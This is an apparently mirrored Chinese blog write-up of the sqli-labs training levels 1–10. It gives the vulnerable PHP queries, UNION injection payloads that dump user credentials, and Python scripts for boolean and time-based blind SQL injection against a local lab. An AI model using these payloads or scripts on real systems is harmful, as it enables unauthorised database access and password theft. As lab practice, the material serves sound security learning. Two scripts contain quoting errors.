zoukankan      html  css  js  c++  java
  • sql-labs

    sql-lab

    半夜无聊,玩一下sql-lab消遣一下~

    333

    less-1

    • 注入类型: 字符型

    触发代码段

    3

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    

    查询所有的数据库

    • group_concat()函数可以把多行结果合并成一行。
    id=100' union select 1,group_concat(schema_name),3 from information_schema.schemata%23
    

    查询当前数据库

    • 使用database()函数。
    id=100' union select 1,database(),3'%23
    

    3

    查询数据表

    id=100' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
    

    查询列明

    id=100' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'%23
    

    查询用户信息

    id=100' union select 1,group_concat('<br/>',id,0x207e2a7e20,username,0x207e2a7e20,password),3 from `users`%23
    

    3

    less-2

    整型注入

    触发代码

    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    

    查询用户信息

    id=888 union select 1,group_concat('<br/>',id,0x207e2a7e20,username,0x207e2a7e20,password),3 from users
    

    less-3

    字符型多了括号

    触发代码

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    

    3

    payload

    id=999')union select 1,group_concat('<br/>',id,0x207e2a7e20,username,0x207e2a7e20,password),3 from users%23
    

    less-4

    字符型

    触发代码

    $id = '"' . $id . '"';
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
    

    因为被双引号分割了所以得绕过一哈。

    payload

    id=888")union select 1,group_concat('<br/>',id,0x7e,username,0x7e,password),3 from users%23
    

    less-5

    布尔盲注

    触发代码段

    if($row)
    {
      		echo 'You are in...........';
    }
    else 
    {
        print_r(mysql_error());
    }
    

    exp

    #less-5 布尔盲注
    import requests
    
    url = "http://127.0.0.1/sqli-labs/less-5/?id=1' and "
    result = ""
    i = 0
    while(True):
    	head = 32
    	tail = 127
    	i+=1
    	while(head<tail) : 
    		mid = head + tail >> 1
    		payload = " ord(substr( (select database()) ,%d,1))>%d %%23" %(i,mid)
    		payload = " ord(substr( (select group_concat(id,0x7e,username,0x7e,password) from users) ,%d,1))>%d %%23" % (i,mid)
    		
    		r = requests.get(url+payload)
    		if "You are in" in r.text:
    			head = mid + 1
    		else : 
    			tail = mid
    	if( head != 32):
    		result += chr(head)
    		print(result)
    	else :
    		break
    print(result)
    

    less-6

    字符型,布尔型

    使用php得双引号做字符型注入

    $id = '"'.$id.'"';
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    

    exp

    #less-6 布尔盲注
    import requests
    
    url = "http://127.0.0.1/sqli-labs/less-6/?id=1" and "
    result = ""
    i = 0
    while(True):
    	head = 32
    	tail = 127
    	i+=1
    	while(head<tail) : 
    		mid = head + tail >> 1
    		payload = " ord(substr( (select database()) ,%d,1))>%d %%23" %(i,mid)
    		payload = " ord(substr( (select group_concat(id,0x7e,username,0x7e,password) from users) ,%d,1))>%d %%23" % (i,mid)
    		
    		r = requests.get(url+payload)
    		if "You are in" in r.text:
    			head = mid + 1
    		else : 
    			tail = mid
    	if( head != 32):
    		result += chr(head)
    		print(result)
    	else :
    		break
    print(result)
    

    less-7

    字符,布尔型

    $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
    

    exp

    #less-7 布尔盲注
    import requests
    
    url = "http://127.0.0.1/sqli-labs/less-7/?id=1')) and "
    result = ""
    i = 0
    while(True):
    	head = 32
    	tail = 127
    	i+=1
    	while(head<tail) : 
    		mid = head + tail >> 1
    		payload = " ord(substr( (select database()) ,%d,1))>%d %%23" %(i,mid)
    		payload = " ord(substr( (select group_concat(id,0x7e,username,0x7e,password) from users) ,%d,1))>%d %%23" % (i,mid)
    		
    		r = requests.get(url+payload)
    		if "You are in" in r.text:
    			head = mid + 1
    		else : 
    			tail = mid
    	if( head != 32):
    		result += chr(head)
    		print(result)
    	else :
    		break
    print(result)
    

    less-8

    字符型,布尔盲注

    代码

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    

    exp

    #less-8 布尔盲注
    import requests
    
    url = "http://127.0.0.1/sqli-labs/less-8/?id=1' and "
    result = ""
    i = 0
    while(True):
    	head = 32
    	tail = 127
    	i+=1
    	while(head<tail) : 
    		mid = head + tail >> 1
    		payload = " ord(substr( (select database()) ,%d,1))>%d %%23" %(i,mid)
    		payload = " ord(substr( (select group_concat(id,0x7e,username,0x7e,password) from users) ,%d,1))>%d %%23" % (i,mid)
    		
    		r = requests.get(url+payload)
    		if "You are in" in r.text:
    			head = mid + 1
    		else : 
    			tail = mid
    	if( head != 32):
    		result += chr(head)
    		print(result)
    	else :
    		break
    print(result)
    

    less-9

    时间盲注

    触发代码端

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    

    无论是否查得到信息都写成了you are in

    payload构造

    需要调用sleep()函数进行延时。

    exp

    #less-9 时间盲注
    import requests
    import time
    url = "http://127.0.0.1/sqli-labs/less-9/?id=1' and "
    result = ""
    i = 0
    while(True):
    	head = 32
    	tail = 127
    	i+=1
    	while(head<tail) : 
    		mid = head + tail >> 1
    		payload = " if(ord(substr( (select database()) ,%d,1))>%d,sleep(0.6),2) %%23" %(i,mid)
    		payload = " if(ord(substr( (select group_concat(id,0x7e,username,0x7e,password) from users) ,%d,1))>%d,sleep(0.6),2) %%23" % (i,mid)
    		start_time = time.time()
    		r = requests.get(url+payload)
    		end_time = time.time()
    		if end_time - start_time > 0.6:
    			head = mid + 1
    		else : 
    			tail = mid
    	if( head != 32):
    		result += chr(head)
    		print(result)
    	else :
    		break
    print(result)
    

    less-10

    时间注入

    触发段

    改成把双引号补上即可

    $id = '"'.$id.'"';
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    

    exp

    #less-10 时间盲注
    import requests
    import time
    url = "http://127.0.0.1/sqli-labs/less-10/?id=1" and "
    result = ""
    i = 0
    while(True):
    	head = 32
    	tail = 127
    	i+=1
    	while(head<tail) : 
    		mid = head + tail >> 1
    		payload = " if(ord(substr( (select database()) ,%d,1))>%d,sleep(0.6),2) %%23" %(i,mid)
    		payload = " if(ord(substr( (select group_concat(id,0x7e,username,0x7e,password) from users) ,%d,1))>%d,sleep(0.6),2) %%23" % (i,mid)
    		start_time = time.time()
    		r = requests.get(url+payload)
    		end_time = time.time()
    		if end_time - start_time > 0.6:
    			head = mid + 1
    		else : 
    			tail = mid
    	if( head != 32):
    		result += chr(head)
    		print(result)
    	else :
    		break
    print(result)
    
  • 相关阅读:
    热烈祝贺《名博是怎样炼成的》出版
    公司年会在民俗文化村举行
    春节后第一周个人新闻两则
    用asp.net来回收IIS6.0应用程序池
    ComponentArt Web.UI 升级遇到的问题
    今天给博客设计了个博皮
    2009春运购火车票经历
    Android平台下实现一个进程管理器
    【转】Windows平台下Android源码的下载
    【转】 使用git 工具下载android.jar Source Code
  • 原文地址:https://www.cnblogs.com/h3zh1/p/13503255.html
Copyright © 2011-2022 走看看